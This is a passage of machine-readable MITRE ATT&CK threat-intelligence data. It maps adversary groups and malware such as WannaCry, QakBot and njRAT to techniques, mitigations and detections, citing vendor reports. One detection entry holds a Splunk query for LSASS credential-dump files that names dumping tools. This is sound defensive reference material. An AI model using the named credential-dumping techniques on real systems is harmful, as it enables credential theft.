that had previously been compromised with [China Chopper](https://attack.mitre.org/software/S0020) prior to exfiltration.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa8d6c79-557f-44e1-a27b-55f87b2c8084","type":"relationship","created":"2020-10-19T17:58:04.228Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2021-04-20T20:11:11.161Z","description":"Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS. Follow vendor prescribed best practices for hardening access control. (Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fa939612-0aa1-40b6-aab6-7a1b1872c93b","created":"2022-05-04T22:23:14.537Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use the `IARPUinstallerStringLauncher` COM interface are part of its UAC bypass process.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-04T22:23:14.537Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa97bdf1-d973-4a3c-a88e-b5c666c7dd10","created":"2024-04-05T17:26:22.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T17:27:06.744Z","description":"[Pcexter](https://attack.mitre.org/software/S1102) can upload files from targeted systems.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--e4feffc2-53d1-45c9-904e-adb9faca0d15","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-07T19:14:56.061Z","description":"(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa9d123e-eef1-4b83-acd6-6483325cf0b5","created":"2023-12-27T17:59:18.681Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:45:00.906Z","description":"Monitor for the unexpected creation of memory dump files for the LSASS process (e.g., `lsass{*}.dmp`).\n\nAnalytic 1 - Unexpected creation of LSASS dump files.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*\\\\lsass*.dmp\" | where ProcessName IN (\"procdump.exe\", \"rundll32.exe\", \"taskmgr.exe\", \"powershell.exe\", \"wmic.exe\", \"schtasks.exe\", \"cmd.exe\", \"comsvcs.dll\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--faa657c6-e223-4b45-8f92-b35fbd76bd56","created":"2022-02-02T15:02:10.682Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can modify registry keys as part of setting a new pass-through authentication agent.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:23:24.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--faa996f9-3d60-455f-ab31-50687113f24e","created":"2024-08-26T18:09:33.626Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:09:33.626Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has used encrypted payloads within files for follow-on execution and defense evasion.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--faac14e9-09c0-4b67-9f33-cd5194af8180","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation","source_ref":"x-mitre-data-component--f5a9a1dd-82f9-41a3-85b8-13e5b9cd6c79","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--faaecea3-e9a8-48a6-bed4-3f470b0adce6","type":"relationship","created":"2021-09-30T15:45:56.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T15:45:56.576Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to modify the Registry to add its binaries to the Windows Defender exclusion list.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fab45ac3-d359-4493-8ae0-02675158710e","type":"relationship","created":"2021-08-04T15:49:35.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T15:49:35.794Z","description":"(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--96eca9b9-b37f-42f1-96dc-a2c441403194","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fab558cd-cb4a-4e7a-a3c7-184bee680019","type":"relationship","created":"2020-02-04T12:52:13.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-12T18:32:33.066Z","description":"Establish an organizational policy that prohibits password storage in files.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fab721f4-26c2-4aac-9bb4-853864534c55","created":"2022-09-08T13:48:36.934Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:48:36.934Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors disabled anti-virus and anti-spyware tools in some instances on the victim’s machines. The actors also disabled proxy settings to allow direct communication from victims to the Internet.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fab9f76e-570c-4235-8045-dec89714d435","type":"relationship","created":"2020-05-22T20:04:15.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}],"modified":"2020-05-22T20:04:15.481Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used SQL injection for initial compromise.(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fabd053f-487c-404f-b1b0-b090e442ff83","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:08:26.556Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has disguised its droppers as legitimate software or documents, matching their original names and locations, and saved its files as mpr.dll in the Windows folder.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fac104a4-7bd8-4e82-9d62-ca5908dc3a57","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections to untrusted hosts that are used to send or receive data. ","modified":"2022-08-18T15:20:44.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fac15889-5e75-4d1d-b624-294581c299ca","created":"2020-11-25T22:46:47.790Z","x_mitre_version":"1.0","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) researched Ukraine's unique legal entity identifier (called an \"EDRPOU\" number), including running queries on the EDRPOU website, in preparation for the [NotPetya](https://attack.mitre.org/software/S0368) attack. [Sandworm Team](https://attack.mitre.org/groups/G0034) has also researched third-party websites to help it craft credible spearphishing emails.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","modified":"2022-04-12T19:07:31.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fac15b17-554e-4f16-a131-abf5f703f6f9","created":"2022-09-26T15:03:20.517Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T15:03:20.517Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can delete files including its dropper component.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fac1ed8a-a5a8-4b4f-a6ca-bc6a19d001a3","created":"2023-09-25T19:27:25.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T20:14:12.742Z","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has injected content into DNS, HTTP, and SMB replies to redirect specifically-targeted victims to a fake Windows Update page to download malware.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fac88cac-2935-4c68-af9f-c16fb93d6eac","type":"relationship","created":"2020-04-28T12:47:25.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.828Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used a Python tool named klog.exe for keylogging.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--faccd8d5-0e21-4e57-aef9-1ccf72150294","type":"relationship","created":"2020-05-06T21:01:23.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.666Z","description":"[Attor](https://attack.mitre.org/software/S0438) monitors the free disk space on the system.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--facd3eca-9156-47a8-85d1-09719bc0eb88","type":"relationship","created":"2019-03-26T13:38:24.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."},{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"}],"modified":"2019-04-22T11:43:33.449Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) creates the service \"mssecsvc2.0\" with the display name \"Microsoft Security Center (2.0) Service.\"(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fad2a504-6e00-4892-bf88-b49d6d18788c","created":"2017-05-31T21:33:27.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.691Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has been known to dump credentials.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3","type":"relationship","created":"2017-05-31T21:33:27.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"},{"url":"http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf","description":"ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.","source_name":"DustySky2"},{"source_name":"FireEye Operation Molerats","description":"Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.","url":"https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html"}],"modified":"2021-04-27T19:55:39.622Z","description":"(Citation: DustySky)(Citation: DustySky2)(Citation: FireEye Operation Molerats)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fada4b53-8916-406b-b042-bbf4185fe0d3","type":"relationship","created":"2019-06-04T19:48:14.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2020-03-20T01:52:07.175Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can launch a command shell interface for executing commands.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fada6223-ba24-4c26-aa89-3998f07604f9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2020-03-30T02:39:23.771Z","description":"After collecting documents from removable media, [Prikormka](https://attack.mitre.org/software/S0113) compresses the collected files, and encrypts it with Blowfish.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--faecb2f6-1828-4b8e-bef8-f8f7a49340ca","created":"2022-11-28T17:11:31.128Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-28T17:11:31.128Z","description":"In cloud environments, ensure that users are not granted permissions to create or modify traffic mirrors unless this is explicitly required.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.0.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--faf1e821-465d-40cc-b523-73f1ba308932","type":"relationship","created":"2019-02-12T20:13:01.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks 